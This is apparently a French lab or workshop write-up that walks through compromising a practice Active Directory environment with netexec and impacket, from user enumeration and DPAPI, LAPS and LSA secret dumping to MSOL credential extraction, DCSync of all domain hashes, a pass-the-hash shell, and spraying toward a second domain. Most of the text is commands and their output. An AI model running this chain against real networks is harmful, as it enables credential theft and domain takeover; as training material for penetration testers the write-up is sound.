Running nxc against 4 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

Énumérer les utilisateurs du domaine

Maintenant que nous avons un compte sur le domaine rome.local, on peut lister les utilisateurs.

 nxc smb ips.txt -u musculus -H 0c5a8f7d371f7159fe673933401d0109 --users
SMB         10.0.0.8        445    REFERENDUM       [*] Windows 10 / Server 2019 Build 17763 x64 (name:REFERENDUM) (domain:rome.local) (signing:False) (SMBv1:False)
SMB         10.0.0.4        445    babaorum         [*] Windows 10 / Server 2019 Build 17763 x64 (name:babaorum) (domain:rome.local) (signing:True) (SMBv1:False)
SMB         10.0.0.5        445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
SMB         10.0.0.7        445    METRONUM         [*] Windows 10 / Server 2019 Build 17763 x64 (name:METRONUM) (domain:rome.local) (signing:False) (SMBv1:False)
SMB         10.0.0.8        445    REFERENDUM       [+] rome.local\musculus:0c5a8f7d371f7159fe673933401d0109 
SMB         10.0.0.4        445    babaorum         [+] rome.local\musculus:0c5a8f7d371f7159fe673933401d0109 
SMB         10.0.0.5        445    village          [-] armorique.local\musculus:0c5a8f7d371f7159fe673933401d0109 STATUS_LOGON_FAILURE
SMB         10.0.0.7        445    METRONUM         [+] rome.local\musculus:0c5a8f7d371f7159fe673933401d0109 (Pwn3d!)
SMB         10.0.0.4        445    babaorum         -Username-                    -Last PW Set-       -BadPW- -Description-  
SMB         10.0.0.4        445    babaorum         jules.cesar                   2024-07-01 13:25:07 0       Built-in account for administering the computer/domain
SMB         10.0.0.4        445    babaorum         Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         10.0.0.4        445    babaorum         krbtgt                        2024-07-02 09:35:23 0       Key Distribution Center Service Account
SMB         10.0.0.7        445    METRONUM         -Username-                    -Last PW Set-       -BadPW- -Description-  
SMB         10.0.0.4        445    babaorum         brutus                        2024-07-02 09:44:14 0        
SMB         10.0.0.7        445    METRONUM         admin01                       2024-07-06 23:59:20 0       Built-in account for administering the computer/domain
SMB         10.0.0.4        445    babaorum         caius.bonus                   2024-07-02 09:44:15 0        
SMB         10.0.0.7        445    METRONUM         DefaultAccount                <never>             0       A user account managed by the system.
SMB         10.0.0.4        445    babaorum         caius.laius                   2024-07-02 09:44:15 0        
SMB         10.0.0.7        445    METRONUM         Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         10.0.0.4        445    babaorum         caius.pupus                   2024-07-02 09:44:15 0        
SMB         10.0.0.7        445    METRONUM         localix                       2024-07-02 10:13:33 0        
SMB         10.0.0.4        445    babaorum         motus                         2024-07-02 09:44:15 0        
SMB         10.0.0.7        445    METRONUM         WDAGUtilityAccount            2024-06-07 11:57:36 0       A user account managed and used by the system for Windows Defender Application Guard scenarios.
SMB         10.0.0.7        445    METRONUM         [*] Enumerated 5 local users: metronum
SMB         10.0.0.4        445    babaorum         couverdepus                   2024-07-02 09:44:15 0        
SMB         10.0.0.4        445    babaorum         processus                     2024-07-02 09:44:15 0        
SMB         10.0.0.4        445    babaorum         cartapus                      2024-07-02 09:44:16 0        
SMB         10.0.0.4        445    babaorum         oursenplus                    2024-07-02 09:44:16 0        
SMB         10.0.0.4        445    babaorum         detritus                      2024-07-02 09:44:16 0        
SMB         10.0.0.4        445    babaorum         blocus                        2024-07-02 09:44:17 0        
SMB         10.0.0.4        445    babaorum         musculus                      2024-07-02 09:44:17 0        
SMB         10.0.0.4        445    babaorum         radius                        2024-07-02 09:44:17 0        
SMB         10.0.0.4        445    babaorum         briseradius                   2024-07-02 09:44:17 0        
SMB         10.0.0.4        445    babaorum         plexus                        2024-07-02 09:44:17 0        
SMB         10.0.0.4        445    babaorum         marcus.sacapus                2024-07-02 09:44:17 0        
SMB         10.0.0.4        445    babaorum         yenapus                       2024-07-02 09:44:17 0        
SMB         10.0.0.4        445    babaorum         chorus                        2024-07-02 09:44:18 0        
SMB         10.0.0.4        445    babaorum         cleopatre                     2024-07-02 09:44:18 0        
SMB         10.0.0.4        445    babaorum         epidemais                     2024-07-02 09:44:18 0        
SMB         10.0.0.4        445    babaorum         numerobis                     2024-07-03 13:23:09 0        
SMB         10.0.0.4        445    babaorum         amonbofis                     2024-07-02 09:44:18 0        
SMB         10.0.0.4        445    babaorum         tournevis                     2024-07-02 09:44:18 0        
SMB         10.0.0.4        445    babaorum         tumeheris                     2024-07-02 09:44:18 0        
SMB         10.0.0.4        445    babaorum         lapsus                        2024-07-02 10:28:01 0        
SMB         10.0.0.4        445    babaorum         MSOL_80541c18ebaa             2024-07-02 21:25:11 0       Account created by Microsoft Azure Active Directory Connect with installation identifier 80541c18ebaa4ce0a259edbe39a92547 running on computer REFERENDUM configured to synchronize to tenant lehack275gmail.onmicrosoft.com. This account must have directory replication permissions in the local Active Directory and write permission on certain attributes to enable Hybrid Deployment.
SMB         10.0.0.4        445    babaorum         [*] Enumerated 29 local users: ROME
Running nxc against 4 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

L’utilisateur MSOL_80541c18ebaa ressort comme étant intéressant. On note pour plus tard cet utilisateur.

MSOL_80541c18ebaa - Account created by Microsoft Azure Active Directory Connect with installation identifier 80541c18ebaa4ce0a259edbe39a92547 running on computer REFERENDUM configured to synchronize to tenant lehack275gmail.onmicrosoft.com. This account must have directory replication permissions in the local Active Directory and write permission on certain attributes to enable Hybrid Deployment.

DPAPI

L’indice de plans.txt nous indique qu’il peut être intéressant de chercher si des traces sont restées sur les serveurs.

J’ai aussi entendu dire que le capitaine Lapsus était passé dans le camp le mois dernier. J’espère qu’il n’a pas laissé de trace !

On peut utiliser --dpapi pour récupérer les secrets protégés par la DPAPI, tels que les mots de passe de Chrome.

 nxc smb ips.txt -u musculus -H 0c5a8f7d371f7159fe673933401d0109 --dpapi
SMB         10.0.0.8        445    REFERENDUM       [*] Windows 10 / Server 2019 Build 17763 x64 (name:REFERENDUM) (domain:rome.local) (signing:False) (SMBv1:False)
SMB         10.0.0.7        445    METRONUM         [*] Windows 10 / Server 2019 Build 17763 x64 (name:METRONUM) (domain:rome.local) (signing:False) (SMBv1:False)
SMB         10.0.0.4        445    babaorum         [*] Windows 10 / Server 2019 Build 17763 x64 (name:babaorum) (domain:rome.local) (signing:True) (SMBv1:False)
SMB         10.0.0.5        445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
SMB         10.0.0.8        445    REFERENDUM       [+] rome.local\musculus:0c5a8f7d371f7159fe673933401d0109 
SMB         10.0.0.7        445    METRONUM         [+] rome.local\musculus:0c5a8f7d371f7159fe673933401d0109 (Pwn3d!)
SMB         10.0.0.7        445    METRONUM         [*] Collecting User and Machine masterkeys, grab a coffee and be patient...
SMB         10.0.0.5        445    village          [-] armorique.local\musculus:0c5a8f7d371f7159fe673933401d0109 STATUS_LOGON_FAILURE
SMB         10.0.0.4        445    babaorum         [+] rome.local\musculus:0c5a8f7d371f7159fe673933401d0109 
SMB         10.0.0.7        445    METRONUM         [+] Got 8 decrypted masterkeys. Looting secrets...
SMB         10.0.0.7        445    METRONUM         [musculus][GOOGLE CHROME] http://testphp.vulnweb.com/userinfo.php - lapsus:hC78*K,Zv+z123
Running nxc against 4 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

On trouve ainsi les identifiants de lapsus:

lapsus:hC78*K,Zv+z123

LAPS


ℹ️ En théorie, il est possible de détecter avec Bloodhound les comptes qui peuvent lire des mots de passe LAPS. Cependant, cela n’a pas fonctionné ni avec Bloodhound, ni avec le nouveau Bloodhound CE.

Les données ont été collectées à la fois avec netexec avec l’option --bloodhound, et avec bloodhound-python.

Il serait intéressant de voir si d’autres collectors permettent de trouver cette info. Il y a une branche de bloodhound-python qui supporte Bloodhound CE, et de nouveaux collectors pour Bloodhound CE.


Le nom de l’utilisateur, lapsus nous met sur la voie. Il s’agit d’aller trouver les identifiants des administrateurs locaux, qui sont gérés par LAPS.

 nxc winrm ips.txt -u 'lapsus' -p 'hC78*K,Zv+z123' --laps
WINRM       10.0.0.5        5985   village          [*] Windows 10 / Server 2019 Build 17763 (name:village) (domain:armorique.local)
WINRM       10.0.0.7        5985   METRONUM         [*] Windows 10 / Server 2019 Build 17763 (name:METRONUM) (domain:rome.local)
WINRM       10.0.0.4        5985   babaorum         [*] Windows 10 / Server 2019 Build 17763 (name:babaorum) (domain:rome.local)
WINRM       10.0.0.8        5985   REFERENDUM       [*] Windows 10 / Server 2019 Build 17763 (name:REFERENDUM) (domain:rome.local)
LDAP        armorique.local 389    armorique.local  [-] armorique.local\lapsus:hC78*K,Zv+z123 
LDAP        10.0.0.5        389    village          [-] LDAP connection failed with account lapsus
LDAP        10.0.0.4        389    babaorum         [-] msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for babaorum
WINRM       10.0.0.7        5985   METRONUM         [+] METRONUM\admin01:),8z,)I-Wb6KPz (Pwn3d!)
WINRM       10.0.0.8        5985   REFERENDUM       [+] REFERENDUM\admin01:{RT5Xv]Xh1Y34n (Pwn3d!)
Running nxc against 4 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

Ces identifiants LAPS pour admin01 nous donnent accès à 2 machines:

  • metronum, dont nous avions déjà compromis avec localix
  • referendum, sur lequel nous n’avons pas encore d’accès.

Comme il s’agit de mots de passe locaux, il faut préciser l’option --local-auth à nxc.

 nxc winrm referendum -u admin01 -p '{RT5Xv]Xh1Y34n' --local-auth
WINRM       10.0.0.8        5985   REFERENDUM       [*] Windows 10 / Server 2019 Build 17763 (name:REFERENDUM) (domain:rome.local)
WINRM       10.0.0.8        5985   REFERENDUM       [+] REFERENDUM\admin01:{RT5Xv]Xh1Y34n (Pwn3d!)

Dumper LSASS.exe - Referendum

Ces identifiants d’administrateur nous permettent à nouveau de dumper lsass.exe et d’obtenir ainsi les hashs de mot de passe des utilisateurs locaux. Pour varier on utilise cette fois l’option --lsa.

 nxc smb referendum -u admin01 -p '{RT5Xv]Xh1Y34n' --local-auth --lsa
SMB         10.0.0.8        445    REFERENDUM       [*] Windows 10 / Server 2019 Build 17763 x64 (name:REFERENDUM) (domain:REFERENDUM) (signing:False) (SMBv1:False)
SMB         10.0.0.8        445    REFERENDUM       [+] REFERENDUM\admin01:{RT5Xv]Xh1Y34n (Pwn3d!)
SMB         10.0.0.8        445    REFERENDUM       [+] Dumping LSA secrets
SMB         10.0.0.8        445    REFERENDUM       ROME.LOCAL/jules.cesar:$DCC2$10240#jules.cesar#f711dd6f946357d6c1bf844f78d2af32: (2024-07-02 20:27:52)
SMB         10.0.0.8        445    REFERENDUM       ROME.LOCAL/jules.cesar:$DCC2$10240#jules.cesar#f711dd6f946357d6c1bf844f78d2af32: (2024-07-03 20:45:34)
SMB         10.0.0.8        445    REFERENDUM       ROME.LOCAL/jules.cesar:$DCC2$10240#jules.cesar#f711dd6f946357d6c1bf844f78d2af32: (2024-07-03 20:49:31)
SMB         10.0.0.8        445    REFERENDUM       ROME\REFERENDUM$:aes256-cts-hmac-sha1-96:eea4c7d88254cbf9877e12d799546d40842743dbe1e3f791d544c72c887acbeb
SMB         10.0.0.8        445    REFERENDUM       ROME\REFERENDUM$:aes128-cts-hmac-sha1-96:4f07cd08acc91e045983fbd42c41d632
SMB         10.0.0.8        445    REFERENDUM       ROME\REFERENDUM$:des-cbc-md5:6d349d46cdfd38b3
SMB         10.0.0.8        445    REFERENDUM       ROME\REFERENDUM$:plain_password_hex:5b0057004800750033002c005d005f0040007900690026002e003b0074007a0037006b005500690069005800380041006b00670045006700670065002a002e006f005900410043006a005c0054006d0078004d006000720049002f0022005b00760024006e002e005b0068004e0054006f004100240077006a00660025005b0062004300720058002f004500460046006d003b005a003d002e0047002e003200330049002a0067005500670030006300790051003700200060005200280034007200200033002f00430050007300380038004a003800490039005d003f003b0068006f005b0060004b006d0033003200
SMB         10.0.0.8        445    REFERENDUM       ROME\REFERENDUM$:aad3b435b51404eeaad3b435b51404ee:31c64d2a43a95066a3374da8a8e84320:::
SMB         10.0.0.8        445    REFERENDUM       dpapi_machinekey:0xd285cc8e6b9b78f6afadc401ad63cd7c445f944b
SMB         10.0.0.8        445    REFERENDUM       dpapi_userkey:0xf38a0989bfc901fb956115da6968af04dc8af614
SMB         10.0.0.8        445    REFERENDUM       NL$KM:831e11da646a29901b2381dc73416771ffc6dcb9ee0a00bdffe43ea75dee52dff9a9361c6de385ce661161cfce0db3508bf5056abfbca761fd1fbc4a872eaf55
SMB         10.0.0.8        445    REFERENDUM       [+] Dumped 10 LSA secrets to /home/olivier/.nxc/logs/REFERENDUM_10.0.0.8_2024-07-07_193918.secrets and /home/olivier/.nxc/logs/REFERENDUM_10.0.0.8_2024-07-07_193918.cached

Malheureusement, cela ne nous donne pas d’accès supplémentaires.

MSOL

C’est le moment de revenir au compte MSOL_80541c18ebaa que nous avions identifié précédemment, dont voici la description.

MSOL_80541c18ebaa - Account created by Microsoft Azure Active Directory Connect with installation identifier 80541c18ebaa4ce0a259edbe39a92547 running on computer REFERENDUM configured to synchronize to tenant lehack275gmail.onmicrosoft.com. This account must have directory replication permissions in the local Active Directory and write permission on certain attributes to enable Hybrid Deployment.

Si vous n’êtes, comme moi, pas familier avec les comptes MSOL (Microsoft Online Services). Sachez qu’il s’agit de comptes utilisés pour synchroniser un Active Directory et un Azure Active Directory.

Ainsi un utilisateur pour utiliser ses identifiants Active Directory sur Azure AD, et Office 365.
Les comptes MSOL ont généralement des droits élevés pour synchroniser les utilisateurs, groupes, et autres objets du domaine. Plus d’information ici : https://www.tevora.com/threat-blog/targeting-msol-accounts-to-compromise-internal-networks/.

Netexec a un module qui permet d’extraire les identifiants MSOL.

 nxc smb -L
LOW PRIVILEGE MODULES
[...]

HIGH PRIVILEGE MODULES (requires admin privs)
[...]
[*] msol                      Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server
[...]

Ce module nécessite les privilèges administrateurs, mais LAPS nous a fourni les identifiants du compte admin01.

Comme indiqué dans sa description, le compte MSOL_80541c18ebaa est exécuté sur la machine REFERENDUM, et a des droits de réplication sur le DC babaorum.
On utilise le module msol pour récupérer les identifiants du compte MSOL_80541c18ebaa.

 nxc smb referendum -u admin01 -p '{RT5Xv]Xh1Y34n' --local-auth -M msol  
SMB         10.0.0.8        445    REFERENDUM       [*] Windows 10 / Server 2019 Build 17763 x64 (name:REFERENDUM) (domain:REFERENDUM) (signing:False) (SMBv1:False)
SMB         10.0.0.8        445    REFERENDUM       [+] REFERENDUM\admin01:{RT5Xv]Xh1Y34n (Pwn3d!)
MSOL        10.0.0.8        445    REFERENDUM       [*] Uploading msol.ps1
MSOL        10.0.0.8        445    REFERENDUM       [+] Msol script successfully uploaded
MSOL        10.0.0.8        445    REFERENDUM       [*] Executing the script
MSOL        10.0.0.8        445    REFERENDUM       [*] Querying ADSync localdb (mms_server_configuration)
MSOL        10.0.0.8        445    REFERENDUM       [*] Querying ADSync localdb (mms_management_agent)
MSOL        10.0.0.8        445    REFERENDUM       [*] Using xp_cmdshell to run some Powershell as the service user
MSOL        10.0.0.8        445    REFERENDUM       Domain: ROME.LOCAL
MSOL        10.0.0.8        445    REFERENDUM       Username: MSOL_80541c18ebaa
MSOL        10.0.0.8        445    REFERENDUM       Password: ]x+qdDl^U!u2I=_wW&1EdJ:*sA(APh_R-v?:#335PPD!Lf[_4ui[h)y>sXB{&[$|F+dHnUD2-]4#4ZNgX%dg?1F.B}h.Q)Kb#8(k^oZ_5:O3Aya}a*.2Bc_L;^q!{B%
MSOL        10.0.0.8        445    REFERENDUM       [+] Msol script successfully deleted

On obtient les identifiants suivants:

MSOL_80541c18ebaa:]x+qdDl^U!u2I=_wW&1EdJ:*sA(APh_R-v?:#335PPD!Lf[_4ui[h)y>sXB{&[$|F+dHnUD2-]4#4ZNgX%dg?1F.B}h.Q)Kb#8(k^oZ_5:O3Aya}a*.2Bc_L;^q!{B%

DCSync - Babaorum

Comme expliqué par mpgn lors du workshop. Quand vous voyez MSOL, pensez tout de suite DCSync. On a vu précédemment que le compte MSOL avait des droits de réplication sur le Domaine.

On peut voir dans Bloodhound que MSOL_80541c18ebaa a les droits pour un DCSync. Ici avec la recherche “Find Principals with DCSync Rights”.
Malheureusement cette requête ne fonctionne pas actuellement sur Bloodhound CE, et la recherche “Shortest Paths to Domain Admins from Owned Principals” ne donne pas non plus de résultats.

Recherche Bloodhound &ldquo;Find Principals with DCSync Rights&rdquo;

On va récupérer le ntds.dit avec un DCSync, et donc l’ensemble des hashs de mots de passe des utilisateurs du domaine.

 nxc smb babaorum -u MSOL_80541c18ebaa -p ']x+qdDl^U!u2I=_wW&1EdJ:*sA(APh_R-v?:#335PPD!Lf[_4ui[h)y>sXB{&[$|F+dHnUD2-]4#4ZNgX%dg?1F.B}h.Q)Kb#8(k^oZ_5:O3Aya}a*.2Bc_L;^q!{B%' --ntds                   
[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] y
SMB         10.0.0.4        445    babaorum         [*] Windows 10 / Server 2019 Build 17763 x64 (name:babaorum) (domain:rome.local) (signing:True) (SMBv1:False)
SMB         10.0.0.4        445    babaorum         [+] rome.local\MSOL_80541c18ebaa:]x+qdDl^U!u2I=_wW&1EdJ:*sA(APh_R-v?:#335PPD!Lf[_4ui[h)y>sXB{&[$|F+dHnUD2-]4#4ZNgX%dg?1F.B}h.Q)Kb#8(k^oZ_5:O3Aya}a*.2Bc_L;^q!{B%
SMB         10.0.0.4        445    babaorum         [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB         10.0.0.4        445    babaorum         [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.0.0.4        445    babaorum         jules.cesar:500:aad3b435b51404eeaad3b435b51404ee:6beba33d18f9e0eba5c8080f362b7f76:::
SMB         10.0.0.4        445    babaorum         Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.0.0.4        445    babaorum         krbtgt:502:aad3b435b51404eeaad3b435b51404ee:84da2d0c46d27cd7ef52f4498a8f1933:::
SMB         10.0.0.4        445    babaorum         rome.local\brutus:1103:aad3b435b51404eeaad3b435b51404ee:5160cc29facd160087422320c7fd082e:::
SMB         10.0.0.4        445    babaorum         rome.local\caius.bonus:1104:aad3b435b51404eeaad3b435b51404ee:ead20c9e1a5879c1a5e667805f01b210:::
SMB         10.0.0.4        445    babaorum         rome.local\caius.laius:1105:aad3b435b51404eeaad3b435b51404ee:863937c2368fca626d494154969fa3f1:::
SMB         10.0.0.4        445    babaorum         rome.local\caius.pupus:1106:aad3b435b51404eeaad3b435b51404ee:485f0a1259fca7feedc4ed446cd73f51:::
SMB         10.0.0.4        445    babaorum         rome.local\motus:1107:aad3b435b51404eeaad3b435b51404ee:a18173360503e5d7a9896e77237cbebf:::
SMB         10.0.0.4        445    babaorum         rome.local\couverdepus:1108:aad3b435b51404eeaad3b435b51404ee:daed649b85afad70575c3ce846f3d8b6:::
SMB         10.0.0.4        445    babaorum         rome.local\processus:1109:aad3b435b51404eeaad3b435b51404ee:6e63bdf716e7e8ea38bb16a7fd03558d:::
SMB         10.0.0.4        445    babaorum         rome.local\cartapus:1110:aad3b435b51404eeaad3b435b51404ee:e9d56f8b7255cd0bf70505eb3070ca88:::
SMB         10.0.0.4        445    babaorum         rome.local\oursenplus:1111:aad3b435b51404eeaad3b435b51404ee:91baa4580b05f821e392ea7c436bbd91:::
SMB         10.0.0.4        445    babaorum         rome.local\detritus:1112:aad3b435b51404eeaad3b435b51404ee:be8e40a630e541e24a03311349cb291a:::
SMB         10.0.0.4        445    babaorum         rome.local\blocus:1113:aad3b435b51404eeaad3b435b51404ee:ac7121d5b6f0af7cf020a347a51bb698:::
SMB         10.0.0.4        445    babaorum         rome.local\musculus:1114:aad3b435b51404eeaad3b435b51404ee:0c5a8f7d371f7159fe673933401d0109:::
SMB         10.0.0.4        445    babaorum         rome.local\radius:1115:aad3b435b51404eeaad3b435b51404ee:bc26132bc86bab561351244c959c4e61:::
SMB         10.0.0.4        445    babaorum         rome.local\briseradius:1116:aad3b435b51404eeaad3b435b51404ee:5a8630be79b7da10099b001a5adee00e:::
SMB         10.0.0.4        445    babaorum         rome.local\plexus:1117:aad3b435b51404eeaad3b435b51404ee:b5afa6f98a1ca2ee9b43645dae87f741:::
SMB         10.0.0.4        445    babaorum         rome.local\marcus.sacapus:1118:aad3b435b51404eeaad3b435b51404ee:40bc830efe84caaacbc58262bd5a3ace:::
SMB         10.0.0.4        445    babaorum         rome.local\yenapus:1119:aad3b435b51404eeaad3b435b51404ee:35908c42619644b303e417ecc3f2366a:::
SMB         10.0.0.4        445    babaorum         rome.local\chorus:1120:aad3b435b51404eeaad3b435b51404ee:16ee2fbf32a9f5800d70070cd5e5b66a:::
SMB         10.0.0.4        445    babaorum         rome.local\cleopatre:1121:aad3b435b51404eeaad3b435b51404ee:7397391ffb9e81939e76a830019e0b62:::
SMB         10.0.0.4        445    babaorum         rome.local\epidemais:1122:aad3b435b51404eeaad3b435b51404ee:dda224f756b385f1ef02924cb0df1adb:::
SMB         10.0.0.4        445    babaorum         rome.local\numerobis:1123:aad3b435b51404eeaad3b435b51404ee:808022bae08938c2a345f3dec9d38277:::
SMB         10.0.0.4        445    babaorum         rome.local\amonbofis:1124:aad3b435b51404eeaad3b435b51404ee:c4efae63bf2f5b7af768e12cc749ba88:::
SMB         10.0.0.4        445    babaorum         rome.local\tournevis:1125:aad3b435b51404eeaad3b435b51404ee:b2b47a85455927d48417b848763bf37d:::
SMB         10.0.0.4        445    babaorum         rome.local\tumeheris:1126:aad3b435b51404eeaad3b435b51404ee:a7f58eb584616d3f90d7096d52fd5259:::
SMB         10.0.0.4        445    babaorum         rome.local\lapsus:1128:aad3b435b51404eeaad3b435b51404ee:3b235a452fe0fb3c119cbc2087203c08:::
SMB         10.0.0.4        445    babaorum         MSOL_80541c18ebaa:2101:aad3b435b51404eeaad3b435b51404ee:eb0be077df394d2c9b8cf4e53496b888:::
SMB         10.0.0.4        445    babaorum         babaorum$:1000:aad3b435b51404eeaad3b435b51404ee:a210e3719c40b9209b8a071d0173c5b8:::
SMB         10.0.0.4        445    babaorum         METRONUM$:1127:aad3b435b51404eeaad3b435b51404ee:0b9c62acf7e9754d98013f89d3ffdf4a:::
SMB         10.0.0.4        445    babaorum         REFERENDUM$:1129:aad3b435b51404eeaad3b435b51404ee:31c64d2a43a95066a3374da8a8e84320:::
SMB         10.0.0.4        445    babaorum         [+] Dumped 32 NTDS hashes to /home/olivier/.nxc/logs/babaorum_10.0.0.4_2024-07-07_195642.ntds of which 29 were added to the database
SMB         10.0.0.4        445    babaorum         [*] To extract only enabled accounts from the output file, run the following command:
SMB         10.0.0.4        445    babaorum         [*] cat /home/olivier/.nxc/logs/babaorum_10.0.0.4_2024-07-07_195642.ntds | grep -iv disabled | cut -d ':' -f1
SMB         10.0.0.4        445    babaorum         [*] grep -iv disabled /home/olivier/.nxc/logs/babaorum_10.0.0.4_2024-07-07_195642.ntds | cut -d ':' -f1

À ce stade, nous sommes administrateur du domaine rome.local.

On identifie avec le SID 500 que jules.cesar est admin du domaine rome.local. On peut utiliser son hash pour se connecter.

❯ wmiexec.py jules.cesar@babaorum -hashes :6beba33d18f9e0eba5c8080f362b7f76       
Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
rome\jules.cesar

C:\>net user jules.cesar
User name                    jules.cesar
Full Name                    
Comment                      Built-in account for administering the computer/domain
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            7/1/2024 1:25:07 PM
Password expires             8/12/2024 1:25:07 PM
Password changeable          7/2/2024 1:25:07 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   7/6/2024 10:38:19 PM

Logon hours allowed          All

Local Group Memberships      *Administrators       
Global Group memberships     *Domain Users         *Domain Admins        
                             *Group Policy Creator *Schema Admins        
                             *Enterprise Admins    
The command completed successfully.

Résumé de l’épisode précédent

Résumons un peu les étapes qui ont été effectués pour compromettre le domaine ROME.

  1. Partage SMB - babaorum
    • Un partage SHAREACCESSIX était accessible avec une session anonyme (-u 'a' -p '').
    • Ce dernier contenait des identifiants pour heftepix.
  2. Serveur FTP - metronum
    • On a pu s’y connecter avec les identifiants de heftepix.
    • On y trouve un mot de passe wUSYIuhhWy!!12OL et quelques indices.
  3. RID Bute - password spraying
    • On énumère les utilisateurs de domaine ROME.local avec RID Brute et une session guest.
    • On fait un password spraying avec le mot passe wUSYIuhhWy!!12OL sur les utilisateurs énumérés.
    • On trouve ainsi les identifiants de localix qui est administrateur local de Metronum.
  4. Dump LSA - metronum
    • On utilise ce compte admin local localix pour dumper les hashs de mot de passe de metronum.
    • On obtient ainsi les identifiants de musculus, qui est utilisateur du domaine ROME.
  5. DPAPI - metronum
    • On utilise --dpapi pour extraire les identifiants stockés dans le Chrome de musculus.
    • Cela nous donne les identifiants de lapsus
  6. LAPS - Referendum
    • lapsus nous permet d’obtenir les mots de passe de l’administrateur local admin01 pour Metronum et Referendum.
    • Ces mots de passe sont gérés par LAPS.
  7. MSOL - Referendum
    • Le compte MSOL_80541c18ebaa est exécuté sur la machine Referendum.
    • On utilise le module msol avec le compte admin01 pour extraire les identifiants de MSOL_80541c18ebaa.
  8. DCSync - babaorum
    • MSOL_80541c18ebaa a les droits de réplication sur le domaine ROME.
    • On récupère ntds.dit via DCSync avec le compte MSOL_80541c18ebaa.

Pivot vers Armorique.local / village

Maintenant que le domaine ROME est compromis. Nous allons pivoter, et essayer de compromettre le second domaine armorique.local, dont la seule machine est le contrôleur de domaine village.

# /etc/hosts
10.0.0.5	village armorique.local

Password Spraying d’un domaine à l’autre

On va aller tester si des mots de passe du domaine rome.local sont réutilisés sur le domaine armorique.local.

Énumération de armorique.local

Tout d’abord, nous allons lister les utilisateurs du domaine armorique.local.

On a la possibilité de se connecter avec une NULL session sur le domaine armorique.local.

 nxc smb village -u '' -p ''        
SMB         10.0.0.5        445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
SMB         10.0.0.5        445    village          [+] armorique.local\:

On peut utiliser cette connexion pour lister les utilisateurs du domaine.

 nxc smb village -u '' -p '' --users
SMB         10.0.0.5        445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
SMB         10.0.0.5        445    village          [+] armorique.local\: 
SMB         10.0.0.5        445    village          -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         10.0.0.5        445    village          asterix                       2024-07-03 05:18:26 0       Built-in account for administering the computer/domain
SMB         10.0.0.5        445    village          Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         10.0.0.5        445    village          krbtgt                        2024-07-03 12:43:28 0       Key Distribution Center Service Account
SMB         10.0.0.5        445    village          obelix                        2024-07-03 12:54:30 0        
SMB         10.0.0.5        445    village          panoramix                     2024-07-03 12:54:30 0        
SMB         10.0.0.5        445    village          abraracourcix                 2024-07-03 12:54:30 0        
SMB         10.0.0.5        445    village          assurancetourix               2024-07-03 12:54:30 0        
SMB         10.0.0.5        445    village          bonemine                      2024-07-03 12:54:30 0        
SMB         10.0.0.5        445    village          ordralfabetix                 2024-07-03 12:54:30 0        
SMB         10.0.0.5        445    village          cetautomatix                  2024-07-03 12:54:30 0        
SMB         10.0.0.5        445    village          idefix                        2024-07-03 12:54:30 0        
SMB         10.0.0.5        445    village          agecanonix                    2024-07-03 12:54:31 0        
SMB         10.0.0.5        445    village          vercingetorix                 2024-07-03 12:54:31 0        
SMB         10.0.0.5        445    village          goudurix                      2024-07-03 12:54:31 0        
SMB         10.0.0.5        445    village          jolitorax                     2024-07-03 12:54:31 0        
SMB         10.0.0.5        445    village          pepe                          2024-07-03 12:54:31 0        
SMB         10.0.0.5        445    village          cicatrix                      2024-07-03 12:54:31 0        
SMB         10.0.0.5        445    village          falbala                       2024-07-03 12:54:31 0        
SMB         10.0.0.5        445    village          tragicomix                    2024-07-03 12:54:31 0        
SMB         10.0.0.5        445    village          diagnostix                    2024-07-03 12:54:31 0        
SMB         10.0.0.5        445    village          antibiotix                    2024-07-03 12:54:32 0        
SMB         10.0.0.5        445    village          ordalfabétix                  2024-07-03 12:54:32 0        
SMB         10.0.0.5        445    village          prolix                        2024-07-03 21:58:03 0        
SMB         10.0.0.5        445    village          informatix                    2024-07-03 12:54:32 0        
SMB         10.0.0.5        445    village          alambix                       2024-07-06 10:31:41 0        
SMB         10.0.0.5        445    village          porquépix                     2024-07-03 12:54:32 0        
SMB         10.0.0.5        445    village          beaufix                       2024-07-03 12:54:32 0        
SMB         10.0.0.5        445    village          [*] Enumerated 27 local users: ARMORIQUE

On crée ainsi une liste d’utilisateurs armorique.users:

asterix
Guest
krbtgt
obelix
panoramix
abraracourcix
assurancetourix
bonemine
ordralfabetix
cetautomatix
idefix
agecanonix
vercingetorix
goudurix
jolitorax
pepe
cicatrix
falbala
tragicomix
diagnostix
antibiotix
ordalfabétix
prolix
informatix
alambix
porquépix
beaufix

Création d’une liste de hashs

Lors de l’utilisation de --ntds sur le DC babaorum. Une extraction de ntds.dit a été stocké dans le fichier ~/.nxc/logs/babaorum_10.0.0.4_2024-07-07_195642.ntds.

On utilise cut pour extraire les Hashs NT.

